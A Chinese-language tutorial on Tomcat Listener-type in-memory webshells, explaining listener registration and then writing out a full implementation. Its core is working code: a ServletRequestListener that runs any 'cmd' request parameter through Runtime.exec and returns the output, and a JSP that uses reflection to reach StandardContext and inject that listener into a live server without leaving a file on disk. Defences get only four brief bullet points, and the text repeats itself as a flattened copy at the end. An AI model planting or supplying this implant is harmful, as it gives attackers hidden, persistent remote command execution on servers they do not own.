Tomcat Listener 型内存马流程理解与手写 EXP
字数 1254 2025-08-12 11:34:25

Tomcat Listener 型内存马原理与实现详解

0x01 内存马概述

内存马是一种驻留在服务器内存中的恶意程序,具有极强的隐蔽性。与文件上传攻击相比,内存马不需要在磁盘上留下文件痕迹,但攻击方式相对局限。Listener 型内存马是其中一种实现方式,通过监听 HTTP 请求来执行恶意代码。

0x02 Listener 基础知识

Java Web 监听器类型

Java Web 开发中的监听器(Listener)主要分为三类:

  1. ServletContextListener - 监听应用上下文事件
  2. HttpSessionListener - 监听会话事件
  3. ServletRequestListener - 监听请求事件

其中 ServletRequestListener 最适合用于内存马实现,因为它会在每个请求到达时触发。

ServletRequestListener 关键方法

public interface ServletRequestListener extends EventListener {
    void requestInitialized(ServletRequestEvent sre);  // 请求初始化时调用
    void requestDestroyed(ServletRequestEvent sre);    // 请求销毁时调用
}

0x03 Listener 基础实现

简单 Listener 示例

package Listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {
    public ListenerTest() {}
    
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {}
    
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("Listener 被调用");
    }
}

web.xml 配置

<listener>
    <listener-class>Listener.ListenerTest</listener-class>
</listener>

0x04 Listener 运行流程分析

1. 应用启动阶段

ContextConfig 类负责读取 web.xml 配置:

  1. 通过 configureContext() 方法读取配置
  2. 调用 addApplicationListener() 添加监听器

关键代码路径:

ContextConfig.configureContext() 
→ StandardContext.addApplicationListener()
→ applicationEventListenersList.add(listener)

2. 请求处理阶段

  1. 通过 StandardContext.listenerStart() 初始化监听器
  2. findApplicationListeners() 获取已注册的监听器列表
  3. 请求到达时触发 requestInitialized() 方法

3. 关键调试点

  • 应用启动时:在 ContextConfig.configureContext() 方法设置断点
  • 请求处理时:在 StandardContext.fireRequestInitEvent() 方法设置断点

0x05 Listener 型内存马实现

1. 恶意 Listener 核心代码

@Override
public void requestInitialized(ServletRequestEvent sre) {
    String cmd;
    try {
        cmd = sre.getServletRequest().getParameter("cmd");
        org.apache.catalina.connector.RequestFacade requestFacade = 
            (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
        
        // 反射获取Request对象
        Field requestField = requestFacade.getClass().getDeclaredField("request");
        requestField.setAccessible(true);
        Request request = (Request) requestField.get(requestFacade);
        Response response = request.getResponse();
        
        if (cmd != null) {
            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
            int i = 0;
            byte[] bytes = new byte[1024];
            while ((i = inputStream.read(bytes)) != -1) {
                response.getWriter().write(new String(bytes, 0, i));
                response.getWriter().write("\r\n");
            }
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

2. 获取 StandardContext 对象

<%
    // 通过反射获取StandardContext
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

3. 完整 JSP 内存马实现

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>

<%!
class ListenerMemShell implements ServletRequestListener {
    // 恶意代码实现同上
}
%>

<%
    // 获取StandardContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    
    // 添加恶意Listener
    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());
%>

4. Java 类实现方式

package Listener;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.lang.reflect.Field;

@WebListener
public class ListenerShell implements ServletRequestListener {
    
    @Override
    public void requestInitialized(ServletRequestEvent event) {
        HttpServletRequest req = (HttpServletRequest) event.getServletRequest();
        HttpServletResponse resp = getResponseFromRequest(req);
        String cmd = req.getParameter("cmd");
        
        try {
            String result = CommandExec(cmd);
            resp.getWriter().println(result);
        } catch (Exception e) {}
    }
    
    private String CommandExec(String cmd) throws Exception {
        // 命令执行逻辑
    }
    
    private HttpServletResponse getResponseFromRequest(HttpServletRequest req) {
        // 反射获取Response对象
    }
}

0x06 防御措施

  1. 监控 Listener 注册:检测异常的 Listener 添加行为
  2. 运行时检测:定期检查 StandardContext 中的监听器列表
  3. 权限控制:限制反射等危险操作的使用
  4. 代码审计:检查 web.xml 和动态注册的 Listener

0x07 总结

Listener 型内存马相比 Filter 型实现更为简单,关键点在于:

  1. 实现 ServletRequestListener 接口并植入恶意代码
  2. 通过反射获取 StandardContext 对象
  3. 使用 addApplicationEventListener() 动态注册恶意 Listener

这种内存马具有极高的隐蔽性,防御需要结合静态检测和运行时监控。

Tomcat Listener 型内存马原理与实现详解 0x01 内存马概述 内存马是一种驻留在服务器内存中的恶意程序,具有极强的隐蔽性。与文件上传攻击相比,内存马不需要在磁盘上留下文件痕迹,但攻击方式相对局限。Listener 型内存马是其中一种实现方式,通过监听 HTTP 请求来执行恶意代码。 0x02 Listener 基础知识 Java Web 监听器类型 Java Web 开发中的监听器(Listener)主要分为三类: ServletContextListener - 监听应用上下文事件 HttpSessionListener - 监听会话事件 ServletRequestListener - 监听请求事件 其中 ServletRequestListener 最适合用于内存马实现,因为它会在每个请求到达时触发。 ServletRequestListener 关键方法 0x03 Listener 基础实现 简单 Listener 示例 web.xml 配置 0x04 Listener 运行流程分析 1. 应用启动阶段 ContextConfig 类 负责读取 web.xml 配置: 通过 configureContext() 方法读取配置 调用 addApplicationListener() 添加监听器 关键代码路径: 2. 请求处理阶段 通过 StandardContext.listenerStart() 初始化监听器 findApplicationListeners() 获取已注册的监听器列表 请求到达时触发 requestInitialized() 方法 3. 关键调试点 应用启动时 :在 ContextConfig.configureContext() 方法设置断点 请求处理时 :在 StandardContext.fireRequestInitEvent() 方法设置断点 0x05 Listener 型内存马实现 1. 恶意 Listener 核心代码 2. 获取 StandardContext 对象 3. 完整 JSP 内存马实现 4. Java 类实现方式 0x06 防御措施 监控 Listener 注册 :检测异常的 Listener 添加行为 运行时检测 :定期检查 StandardContext 中的监听器列表 权限控制 :限制反射等危险操作的使用 代码审计 :检查 web.xml 和动态注册的 Listener 0x07 总结 Listener 型内存马相比 Filter 型实现更为简单,关键点在于: 实现 ServletRequestListener 接口并植入恶意代码 通过反射获取 StandardContext 对象 使用 addApplicationEventListener() 动态注册恶意 Listener 这种内存马具有极高的隐蔽性,防御需要结合静态检测和运行时监控。